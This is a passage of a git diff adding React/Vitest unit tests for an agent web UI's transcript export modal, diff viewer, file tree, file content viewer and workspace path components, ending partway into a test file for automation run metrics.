+    loadCompleteTranscriptEventsMock.mockRejectedValueOnce(
+      new Error("history unavailable"),
+    );
+    const exportButton = screen.getByTestId("confirm-transcript-export");
+
+    fireEvent.click(exportButton);
+
+    await waitFor(() =>
+      expect(displayErrorToastMock).toHaveBeenCalledWith(I18nKey.ERROR$GENERIC),
+    );
+    expect(downloadBlobMock).not.toHaveBeenCalled();
+    expect(scenario.onClose).not.toHaveBeenCalled();
+    await waitFor(() => expect(exportButton).not.toBeDisabled());
+    expect(exportButton).toHaveAttribute("aria-busy", "false");
+
+    fireEvent.click(exportButton);
+
+    await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+    expect(getEventCountMock).toHaveBeenCalledTimes(2);
+    expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledTimes(2);
+    expect(trackConversationExportedMock).toHaveBeenCalledWith("markdown");
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+  });
+
+  it("cancels before loading history when closed during the count request", async () => {
+    const scenario = renderExportModal();
+    const count = createDeferred<number>();
+    getEventCountMock.mockReturnValue(count.promise);
+    const exportButton = screen.getByTestId("confirm-transcript-export");
+
+    fireEvent.click(exportButton);
+
+    expect(exportButton).toBeDisabled();
+    expect(exportButton).toHaveAttribute("aria-busy", "true");
+    expect(
+      screen.getByRole("radio", {
+        name: I18nKey.TRANSCRIPT_EXPORT$MARKDOWN,
+      }),
+    ).toBeDisabled();
+    expect(
+      screen.getByRole("checkbox", {
+        name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TOOL_DETAILS,
+      }),
+    ).toBeDisabled();
+
+    fireEvent.click(screen.getByTestId("cancel-transcript-export"));
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+    await act(async () => count.resolve(1));
+
+    expect(loadCompleteTranscriptEventsMock).not.toHaveBeenCalled();
+    expect(downloadBlobMock).not.toHaveBeenCalled();
+    expect(displayErrorToastMock).not.toHaveBeenCalled();
+    await waitFor(() => expect(exportButton).not.toBeDisabled());
+  });
+
+  it("cancels after history loading without creating a download", async () => {
+    const scenario = renderExportModal();
+    const history = createDeferred<OpenHandsEvent[]>();
+    loadCompleteTranscriptEventsMock.mockReturnValue(history.promise);
+
+    fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+    await waitFor(() =>
+      expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledOnce(),
+    );
+    fireEvent.click(screen.getByTestId("close-transcript-export-modal"));
+    await act(async () => history.resolve(scenario.completeEvents));
+
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+    expect(eventsToMarkdownMock).not.toHaveBeenCalled();
+    expect(downloadBlobMock).not.toHaveBeenCalled();
+    expect(displayErrorToastMock).not.toHaveBeenCalled();
+  });
+
+  it("suppresses late errors and state updates after unmount", async () => {
+    const scenario = renderExportModal();
+    const history = createDeferred<OpenHandsEvent[]>();
+    loadCompleteTranscriptEventsMock.mockReturnValue(history.promise);
+
+    fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+    await waitFor(() =>
+      expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledOnce(),
+    );
+    scenario.unmount();
+    await act(async () => history.reject(new Error("late failure")));
+
+    expect(displayErrorToastMock).not.toHaveBeenCalled();
+    expect(downloadBlobMock).not.toHaveBeenCalled();
+    expect(scenario.onClose).not.toHaveBeenCalled();
+  });
+
+  it("ignores a second export request while the first is running", async () => {
+    const scenario = renderExportModal();
+    const count = createDeferred<number>();
+    getEventCountMock.mockReturnValue(count.promise);
+    const exportButton = screen.getByTestId("confirm-transcript-export");
+
+    act(() => {
+      exportButton.click();
+      exportButton.click();
+    });
+    expect(getEventCountMock).toHaveBeenCalledOnce();
+    await act(async () => count.resolve(1));
+
+    await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+    expect(trackConversationExportedMock).toHaveBeenCalledOnce();
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+  });
+
+  it("closes immediately without starting an export", () => {
+    const scenario = renderExportModal();
+
+    fireEvent.click(screen.getByTestId("close-transcript-export-modal"));
+
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+    expect(getEventCountMock).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/features/diff-viewer/commit-list.test.tsx b/__tests__/components/features/diff-viewer/commit-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1d9794899916ad1ccaf119113b2c66623de7632a
--- /dev/null
+++ b/__tests__/components/features/diff-viewer/commit-list.test.tsx
@@ -0,0 +1,177 @@
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi } from "vitest";
+import { CommitList } from "#/components/features/diff-viewer/commit-list";
+import type { GitCommit } from "#/api/open-hands.types";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: { count?: number }) => {
+      if (
+        key === "DIFF_VIEWER$UNCOMMITTED_FILE_COUNT" &&
+        typeof options?.count === "number"
+      ) {
+        return options.count === 1
+          ? `${options.count} file`
+          : `${options.count} files`;
+      }
+      return key;
+    },
+  }),
+}));
+
+vi.mock("#/hooks/query/use-commit-changes", () => ({
+  useCommitChanges: () => ({
+    data: undefined,
+    isLoading: false,
+    isSuccess: false,
+  }),
+}));
+
+vi.mock("#/components/features/diff-viewer/diff-change-list", () => ({
+  DiffChangeList: ({
+    changes,
+  }: {
+    changes: Array<{ path: string; status: string }>;
+  }) => (
+    <div data-testid="diff-change-list">
+      {changes.map((change) => (
+        <div key={change.path}>{change.path}</div>
+      ))}
+    </div>
+  ),
+}));
+
+const makeCommit = (overrides: Partial<GitCommit> = {}): GitCommit => ({
+  sha: "a".repeat(40),
+  shortSha: "aaaaaaa",
+  subject: "add logging",
+  author: "Agent",
+  timestamp: "2026-07-10T12:00:00+07:00",
+  ...overrides,
+});
+
+describe("CommitList", () => {
+  it("renders an Uncommitted accordion row above the commit rows", () => {
+    // Arrange / Act
+    render(
+      <CommitList
+        commits={[makeCommit()]}
+        hasMore={false}
+        uncommittedChanges={[{ path: "src/a.ts", status: "M" }]}
+      />,
+    );
+
+    // Assert
+    expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument();
+    expect(screen.getByText("DIFF_VIEWER$UNCOMMITTED")).toBeInTheDocument();
+    expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent(
+      "1 file",
+    );
+    const rows = screen.getAllByTestId(/^(uncommitted-changes-row|commit-row)$/);
+    expect(rows[0]).toHaveAttribute("data-testid", "uncommitted-changes-row");
+  });
+
+  it("pluralizes the Uncommitted file count", () => {
+    // Arrange / Act
+    render(
+      <CommitList
+        commits={[makeCommit()]}
+        hasMore={false}
+        uncommittedChanges={[
+          { path: "src/a.ts", status: "M" },
+          { path: "src/b.ts", status: "A" },
+        ]}
+      />,
+    );
+
+    // Assert
+    expect(screen.getByTestId("uncommitted-changes-count")).toHaveTextContent(
+      "2 files",
+    );
+  });
+
+  it("expands Uncommitted into the working-tree file list", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    render(
+      <CommitList
+        commits={[makeCommit()]}
+        hasMore={false}
+        uncommittedChanges={[{ path: "src/a.ts", status: "M" }]}
+      />,
+    );
+
+    // Act
+    await user.click(screen.getByTestId("uncommitted-changes-row-toggle"));
+
+    // Assert
+    expect(await screen.findByText("src/a.ts")).toBeInTheDocument();
+  });
+
+  it("collapses Uncommitted when a commit row is expanded", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    render(
+      <CommitList
+        commits={[makeCommit()]}
+        hasMore={false}
+        uncommittedChanges={[{ path: "src/a.ts", status: "M" }]}
+      />,
+    );
+    const uncommittedToggle = screen.getByTestId(
+      "uncommitted-changes-row-toggle",
+    );
+    await user.click(uncommittedToggle);
+    expect(uncommittedToggle).toHaveAttribute("aria-expanded", "true");
+    expect(await screen.findByText("src/a.ts")).toBeInTheDocument();
+
+    // Act
+    await user.click(screen.getByTestId("commit-row-toggle"));
+
+    // Assert — single-open accordion: Uncommitted collapses when a commit opens.
+    expect(uncommittedToggle).toHaveAttribute("aria-expanded", "false");
+    expect(screen.getByTestId("commit-row-toggle")).toHaveAttribute(
+      "aria-expanded",
+      "true",
+    );
+  });
+
+  it("expands Uncommitted on request and clears the request", () => {
+    // Arrange
+    const onAutoExpandHandled = vi.fn();
+
+    // Act
+    render(
+      <CommitList
+        commits={[makeCommit()]}
+        hasMore={false}
+        uncommittedChanges={[{ path: "src/a.ts", status: "M" }]}
+        autoExpandUncommitted
+        onAutoExpandHandled={onAutoExpandHandled}
+      />,
+    );
+
+    // Assert
+    expect(
+      screen.getByTestId("uncommitted-changes-row-toggle"),
+    ).toHaveAttribute("aria-expanded", "true");
+    expect(screen.getByText("src/a.ts")).toBeInTheDocument();
+    expect(onAutoExpandHandled).toHaveBeenCalled();
+  });
+
+  it("still renders Uncommitted when there are no working-tree changes", () => {
+    // Arrange / Act
+    render(
+      <CommitList
+        commits={[makeCommit()]}
+        hasMore={false}
+        uncommittedChanges={[]}
+      />,
+    );
+
+    // Assert
+    expect(screen.getByTestId("uncommitted-changes-row")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/diff-viewer/diff-change-list.test.tsx b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..512cb0efe8bdf1c199ebc51162003ba8376c025a
--- /dev/null
+++ b/__tests__/components/features/diff-viewer/diff-change-list.test.tsx
@@ -0,0 +1,84 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { DiffChangeList } from "#/components/features/diff-viewer/diff-change-list";
+
+vi.mock("framer-motion", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("framer-motion")>();
+  return {
+    ...actual,
+    // Skip exit animations so open/close assertions are synchronous.
+    useReducedMotion: () => true,
+  };
+});
+
+vi.mock("#/hooks/query/use-unified-git-diff", () => ({
+  useUnifiedGitDiff: () => ({
+    data: { original: "a", modified: "b" },
+    isLoading: false,
+    isSuccess: true,
+    isRefetching: false,
+  }),
+}));
+
+vi.mock("@monaco-editor/react", () => ({
+  DiffEditor: () => <div data-testid="file-diff-viewer" />,
+  Editor: () => <div data-testid="file-single-viewer" />,
+}));
+
+describe("DiffChangeList", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("keeps only one file expanded at a time", async () => {
+    const user = userEvent.setup();
+    render(
+      <DiffChangeList
+        changes={[
+          { path: "a.ts", status: "M" },
+          { path: "b.ts", status: "A" },
+        ]}
+      />,
+    );
+
+    const [firstToggle, secondToggle] = screen.getAllByTestId("collapse");
+
+    await user.click(firstToggle);
+    expect(
+      screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector(
+        '[data-testid="file-diff-viewer"]',
+      ),
+    ).toBeTruthy();
+    expect(
+      screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector(
+        '[data-testid="file-diff-viewer"]',
+      ),
+    ).toBeNull();
+
+    await user.click(secondToggle);
+    expect(
+      screen.getAllByTestId("file-diff-viewer-outer")[0].querySelector(
+        '[data-testid="file-diff-viewer"]',
+      ),
+    ).toBeNull();
+    expect(
+      screen.getAllByTestId("file-diff-viewer-outer")[1].querySelector(
+        '[data-testid="file-diff-viewer"]',
+      ),
+    ).toBeTruthy();
+  });
+
+  it("collapses the open file when its header is clicked again", async () => {
+    const user = userEvent.setup();
+    render(
+      <DiffChangeList changes={[{ path: "a.ts", status: "M" }]} />,
+    );
+
+    await user.click(screen.getByTestId("collapse"));
+    expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("collapse"));
+    expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7bdb37e28e5d79a43843d0a3489c3c049448edb1
--- /dev/null
+++ b/__tests__/components/features/diff-viewer/file-diff-viewer.test.tsx
@@ -0,0 +1,227 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import {
+  FileDiffViewer,
+  MAX_DIFF_EDITOR_HEIGHT_PX,
+} from "#/components/features/diff-viewer/file-diff-viewer";
+
+const MOCK_DIFF = { original: "old content", modified: "new content" };
+const MOCK_MD_DIFF = {
+  original: "# Old Heading",
+  modified: "# New Heading\n\nSome **bold** text",
+};
+
+let mockDiff = MOCK_DIFF;
+let mockIsSuccess = true;
+let mockIsLoading = false;
+
+vi.mock("#/hooks/query/use-unified-git-diff", () => ({
+  useUnifiedGitDiff: () => ({
+    data: mockDiff,
+    isLoading: mockIsLoading,
+    isSuccess: mockIsSuccess,
+    isRefetching: false,
+  }),
+}));
+
+vi.mock("@monaco-editor/react", () => ({
+  DiffEditor: (props: Record<string, unknown>) => (
+    <div data-testid="file-diff-viewer" data-original={props.original} data-modified={props.modified} />
+  ),
+  Editor: (props: Record<string, unknown>) => (
+    <div data-testid="file-single-viewer" data-value={props.value} />
+  ),
+}));
+
+vi.mock("#/components/features/markdown/markdown-renderer", () => ({
+  MarkdownRenderer: ({ content }: { content: string }) => (
+    <div data-testid="markdown-renderer">{content}</div>
+  ),
+}));
+
+const expand = async (user: ReturnType<typeof userEvent.setup>) => {
+  await user.click(screen.getByTestId("collapse"));
+};
+
+describe("FileDiffViewer", () => {
+  beforeEach(() => {
+    mockDiff = MOCK_DIFF;
+    mockIsSuccess = true;
+    mockIsLoading = false;
+  });
+
+  it("caps opened editor panes at 600px", () => {
+    expect(MAX_DIFF_EDITOR_HEIGHT_PX).toBe(600);
+  });
+
+  it("keeps view mode controls reserved but inert while collapsed", () => {
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement;
+    expect(viewModeGroup).toHaveClass("invisible");
+    expect(screen.getByTestId("view-mode-old")).toHaveAttribute(
+      "tabIndex",
+      "-1",
+    );
+  });
+
+  it("reveals view mode buttons when expanded", async () => {
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    await expand(user);
+
+    const viewModeGroup = screen.getByTestId("view-mode-diff").parentElement;
+    expect(viewModeGroup).not.toHaveClass("invisible");
+    expect(screen.getByTestId("view-mode-old")).toBeInTheDocument();
+    expect(screen.getByTestId("view-mode-diff")).toBeInTheDocument();
+    expect(screen.getByTestId("view-mode-new")).toBeInTheDocument();
+  });
+
+  it("shows diff editor by default when expanded", async () => {
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    await expand(user);
+
+    expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+    expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+  });
+
+  it("switches to single editor on 'new' mode", async () => {
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    await expand(user);
+    await user.click(screen.getByTestId("view-mode-new"));
+
+    expect(screen.getByTestId("file-single-viewer")).toBeInTheDocument();
+    expect(screen.getByTestId("file-single-viewer")).toHaveAttribute("data-value", "new content");
+    expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument();
+  });
+
+  it("switches to single editor on 'old' mode", async () => {
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    await expand(user);
+    await user.click(screen.getByTestId("view-mode-old"));
+
+    expect(screen.getByTestId("file-single-viewer")).toBeInTheDocument();
+    expect(screen.getByTestId("file-single-viewer")).toHaveAttribute("data-value", "old content");
+  });
+
+  it("returns to diff editor when switching back to 'diff' mode", async () => {
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    await expand(user);
+    await user.click(screen.getByTestId("view-mode-new"));
+    await user.click(screen.getByTestId("view-mode-diff"));
+
+    expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+    expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+  });
+
+  it("renders markdown preview for .md files in 'new' mode", async () => {
+    mockDiff = MOCK_MD_DIFF;
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="README.md" type="M" />);
+
+    await expand(user);
+    await user.click(screen.getByTestId("view-mode-new"));
+
+    expect(screen.getByTestId("markdown-preview")).toBeInTheDocument();
+    expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(/New Heading/);
+    expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(/bold/);
+    expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+  });
+
+  it("renders markdown preview for .md files in 'old' mode", async () => {
+    mockDiff = MOCK_MD_DIFF;
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="README.md" type="M" />);
+
+    await expand(user);
+    await user.click(screen.getByTestId("view-mode-old"));
+
+    expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(MOCK_MD_DIFF.original);
+  });
+
+  it("shows diff editor for .md files in 'diff' mode", async () => {
+    mockDiff = MOCK_MD_DIFF;
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="README.md" type="M" />);
+
+    await expand(user);
+
+    expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+    expect(screen.queryByTestId("markdown-preview")).not.toBeInTheDocument();
+  });
+
+  it("renders a 'file deleted' placeholder when expanded for a deleted file", async () => {
+    // Simulate the hook short-circuiting the API call for deleted files.
+    mockDiff = undefined as unknown as typeof MOCK_DIFF;
+    mockIsSuccess = false;
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/removed.ts" type="D" />);
+
+    await expand(user);
+
+    expect(screen.getByTestId("file-deleted-message")).toBeInTheDocument();
+    expect(screen.queryByTestId("file-diff-viewer")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("file-single-viewer")).not.toBeInTheDocument();
+    // View-mode toolbar should not render for deleted files since there is
+    // nothing to switch between.
+    expect(screen.queryByTestId("view-mode-old")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("view-mode-diff")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("view-mode-new")).not.toBeInTheDocument();
+  });
+
+  it("renders a deleted file's diff content in commit mode instead of the placeholder", async () => {
+    // Arrange — in per-commit mode both sides come from git objects, so a
+    // deleted file has real content to show (original vs empty).
+    mockDiff = { original: "old content", modified: "" };
+    const user = userEvent.setup();
+    render(
+      <FileDiffViewer path="src/removed.ts" type="D" commit={"a".repeat(40)} />,
+    );
+
+    // Act
+    await expand(user);
+
+    // Assert
+    expect(
+      screen.queryByTestId("file-deleted-message"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("file-diff-viewer")).toBeInTheDocument();
+  });
+
+  it("reflects the active view mode via aria-pressed on the toggle buttons", async () => {
+    const user = userEvent.setup();
+    render(<FileDiffViewer path="src/index.ts" type="M" />);
+
+    await expand(user);
+
+    expect(screen.getByTestId("view-mode-diff")).toHaveAttribute(
+      "aria-pressed",
+      "true",
+    );
+    expect(screen.getByTestId("view-mode-old")).toHaveAttribute(
+      "aria-pressed",
+      "false",
+    );
+
+    await user.click(screen.getByTestId("view-mode-old"));
+
+    expect(screen.getByTestId("view-mode-old")).toHaveAttribute(
+      "aria-pressed",
+      "true",
+    );
+    expect(screen.getByTestId("view-mode-diff")).toHaveAttribute(
+      "aria-pressed",
+      "false",
+    );
+  });
+});
diff --git a/__tests__/components/features/files-tab/file-content-viewer.test.tsx b/__tests__/components/features/files-tab/file-content-viewer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..734dbb2dcd24b3319aa2f9af5dcf6d250a0cdfbb
--- /dev/null
+++ b/__tests__/components/features/files-tab/file-content-viewer.test.tsx
@@ -0,0 +1,124 @@
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { FileContentViewer } from "#/components/features/files-tab/file-content-viewer";
+import type { ViewMode } from "#/components/features/files-tab/view-mode";
+import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
+
+// Mock the *services* the file-content hook depends on — not the hook itself —
+// so the real classification (text decoded, then flipped to binary on a NUL
+// sniff) runs end to end through the viewer.
+const useWorkspaceSessionMock = vi.fn();
+vi.mock("#/hooks/query/use-workspace-session", async (importOriginal) => {
+  const real =
+    await importOriginal<
+      typeof import("#/hooks/query/use-workspace-session")
+    >();
+  return {
+    ...real, // keep the real joinWorkspaceUrl the hook builds its fetch URL with
+    useWorkspaceSession: () => useWorkspaceSessionMock(),
+  };
+});
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+const getActiveBackendMock = vi.fn();
+vi.mock("#/api/backend-registry/active-store", () => ({
+  getActiveBackend: () => getActiveBackendMock(),
+}));
+
+// The hook statically imports the cloud runtime service; stub the module so
+// this local-path test never loads the real cloud/proxy machinery. The test
+// uses the fetch (local) path, so downloadFile is never called or asserted.
+vi.mock("#/api/runtime-service/agent-server-runtime-service", () => ({
+  default: { downloadFile: vi.fn() },
+}));
+
+const fetchMock = vi.fn();
+
+const BASE_URL =
+  "https://agent.example.com/api/conversations/conv-1/workspace/";
+
+function renderViewer(path: string, viewMode: ViewMode = "rich") {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={client}>
+      <FileContentViewer path={path} viewMode={viewMode} />
+    </QueryClientProvider>,
+  );
+}
+
+describe("FileContentViewer", () => {
+  beforeEach(() => {
+    vi.stubGlobal("fetch", fetchMock);
+    fetchMock.mockReset();
+    useWorkspaceSessionMock.mockReset();
+    useActiveConversationMock.mockReset();
+    useRuntimeIsReadyMock.mockReset();
+    getActiveBackendMock.mockReset();
+
+    useRuntimeIsReadyMock.mockReturnValue(true);
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        id: "conv-1",
+        conversation_url: "https://agent.example.com/api/conversations/conv-1",
+        session_api_key: "session-key",
+      },
+    });
+    useWorkspaceSessionMock.mockReturnValue({
+      data: { baseUrl: BASE_URL },
+      isLoading: false,
+      isError: false,
+      error: null,
+    });
+    getActiveBackendMock.mockReturnValue({
+      backend: { id: "local-1", kind: "local", host: "http://localhost:8000" },
+      orgId: null,
+    });
+    useWorkspaceMutationCounter.setState({ count: 0 });
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  // The acceptance criteria require the clear message in BOTH view modes. The
+  // plain-mode fallback and the rich-mode binary branch both route through
+  // UnpreviewableFallback, so one parametrized spec covers both code paths.
+  it.each(["rich", "plain"] as const)(
+    "shows a clear unsupported-document message for an Office file (.pptx) in %s mode",
+    async (viewMode) => {
+      // Arrange: the workspace fileserver returns real .pptx bytes — a ZIP whose
+      // header carries a NUL, so the hook classifies the file as binary.
+      fetchMock.mockResolvedValue({
+        ok: true,
+        status: 200,
+        arrayBuffer: () =>
+          Promise.resolve(
+            new Uint8Array([0x50, 0x4b, 0x03, 0x04, 0x00]).buffer,
+          ),
+      });
+
+      // Act
+      renderViewer("demo.pptx", viewMode);
+
+      // Assert: the format-aware "no preview" message replaces the generic
+      // binary fallback in both modes, so the pane is never blank.
+      expect(
+        await screen.findByTestId("file-content-viewer-unsupported-document"),
+      ).toBeInTheDocument();
+    },
+  );
+});
diff --git a/__tests__/components/features/files-tab/file-tree-view.test.tsx b/__tests__/components/features/files-tab/file-tree-view.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44cb40af6109d6644bddc66736f42f1dbe7f546e
--- /dev/null
+++ b/__tests__/components/features/files-tab/file-tree-view.test.tsx
@@ -0,0 +1,68 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi } from "vitest";
+
+import { FileTreeView } from "#/components/features/files-tab/file-tree-view";
+
+// FileTreeView composes the recursive TreeNode (extracted into its own file).
+// The route-level files-tab test treats the tree as a black box, so these
+// cover the tree's own user-facing behavior: empty state, directory
+// expand/collapse, and file selection.
+describe("FileTreeView", () => {
+  it("shows the empty-state message and no tree when there are no files", () => {
+    // Arrange + Act
+    render(
+      <FileTreeView paths={[]} selectedPath={null} onSelectFile={vi.fn()} />,
+    );
+
+    // Assert
+    expect(screen.getByText("FILES$NO_FILES")).toBeInTheDocument();
+    expect(screen.queryByTestId("file-tree-view")).not.toBeInTheDocument();
+  });
+
+  it("keeps a directory collapsed until clicked, then reveals its children", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    render(
+      <FileTreeView
+        paths={["src/main.ts"]}
+        selectedPath={null}
+        onSelectFile={vi.fn()}
+      />,
+    );
+
+    // Assert: the directory row shows but its nested file is hidden.
+    expect(screen.getByTestId("file-tree-dir-src")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("file-tree-file-src/main.ts"),
+    ).not.toBeInTheDocument();
+
+    // Act: expand the directory.
+    await user.click(screen.getByTestId("file-tree-dir-src"));
+
+    // Assert: the nested file is now visible.
+    expect(
+      screen.getByTestId("file-tree-file-src/main.ts"),
+    ).toBeInTheDocument();
+  });
+
+  it("calls onSelectFile with the file path when a file row is clicked", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const onSelectFile = vi.fn();
+    render(
+      <FileTreeView
+        paths={["README.md"]}
+        selectedPath={null}
+        onSelectFile={onSelectFile}
+      />,
+    );
+
+    // Act
+    await user.click(screen.getByTestId("file-tree-file-README.md"));
+
+    // Assert
+    expect(onSelectFile).toHaveBeenCalledTimes(1);
+    expect(onSelectFile).toHaveBeenCalledWith("README.md");
+  });
+});
diff --git a/__tests__/components/features/files-tab/workspace-path.test.tsx b/__tests__/components/features/files-tab/workspace-path.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..43af240b3842b0920f39b0c4ecd8ca22440ee394
--- /dev/null
+++ b/__tests__/components/features/files-tab/workspace-path.test.tsx
@@ -0,0 +1,76 @@
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { WorkspacePath } from "#/components/features/files-tab/workspace-path";
+
+const originalClipboard = navigator.clipboard;
+
+describe("WorkspacePath", () => {
+  afterEach(() => {
+    vi.restoreAllMocks();
+    Object.defineProperty(navigator, "clipboard", {
+      configurable: true,
+      value: originalClipboard,
+    });
+  });
+
+  it("shows the effective workspace path", () => {
+    const path = "/Users/alice/workspace/project/abc123";
+
+    render(<WorkspacePath path={path} />);
+
+    expect(screen.getByTestId("files-tab-workspace-path")).toHaveTextContent(
+      "WORKSPACE$TITLE:",
+    );
+    expect(
+      screen.getByTestId("files-tab-workspace-path-value"),
+    ).toHaveTextContent(path);
+  });
+
+  it("keeps the complete path available when the text is truncated", () => {
+    const path =
+      "/Users/alice/a-very-long-workspace-name/project/with/nested/directories";
+
+    render(<WorkspacePath path={path} />);
+
+    const value = screen.getByTestId("files-tab-workspace-path-value");
+    expect(value).toHaveClass("truncate");
+    expect(value).toHaveAttribute("title", path);
+  });
+
+  it("copies the complete path and confirms the action", async () => {
+    const path = "C:\\Users\\alice\\workspace\\project";
+    const writeText = vi.fn().mockResolvedValue(undefined);
+    const user = userEvent.setup();
+    Object.defineProperty(navigator, "clipboard", {
+      configurable: true,
+      value: { writeText },
+    });
+
+    render(<WorkspacePath path={path} />);
+
+    const workspacePath = screen.getByTestId("files-tab-workspace-path");
+    await user.click(
+      within(workspacePath).getByRole("button", { name: "BUTTON$COPY" }),
+    );
+
+    expect(writeText).toHaveBeenCalledWith(path);
+    expect(
+      within(workspacePath).getByRole("button", { name: "BUTTON$COPIED" }),
+    ).toBeDisabled();
+  });
+
+  it("does not render without a workspace path", () => {
+    const { rerender } = render(<WorkspacePath path={null} />);
+
+    expect(
+      screen.queryByTestId("files-tab-workspace-path"),
+    ).not.toBeInTheDocument();
+
+    rerender(<WorkspacePath path="   " />);
+    expect(
+      screen.queryByTestId("files-tab-workspace-path"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/home/automation-run-activity-sparkline.test.ts b/__tests__/components/features/home/automation-run-activity-sparkline.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0d30b15d1e2860c0bfedd8b4158612638b40660e
--- /dev/null
+++ b/__tests__/components/features/home/automation-run-activity-sparkline.test.ts
@@ -0,0 +1,120 @@
+import { describe, expect, it } from "vitest";
+import {
+  AUTOMATION_RUN_ACTIVITY_MAX_BAR_PX,
+  AUTOMATION_RUN_ACTIVITY_MIN_BAR_PX,
+  AUTOMATION_RUN_ACTIVITY_UNKNOWN_BAR_PX,
+  barColorClassForStatus,
+  durationMsToSparklineBarHeightPx,
+  formatDurationForTitle,
+  getAutomationRunDurationMs,
+} from "#/components/features/home/featured-automations/automation-run-activity-metrics";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+
+function makeRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-08-01T10:00:00.000Z",
+    completed_at: "2026-08-01T10:05:00.000Z",
+    ...overrides,
+  };
+}
+
+describe("getAutomationRunDurationMs", () => {
+  it("returns completed_at - started_at for finished runs", () => {
+    expect(
+      getAutomationRunDurationMs(
+        makeRun({
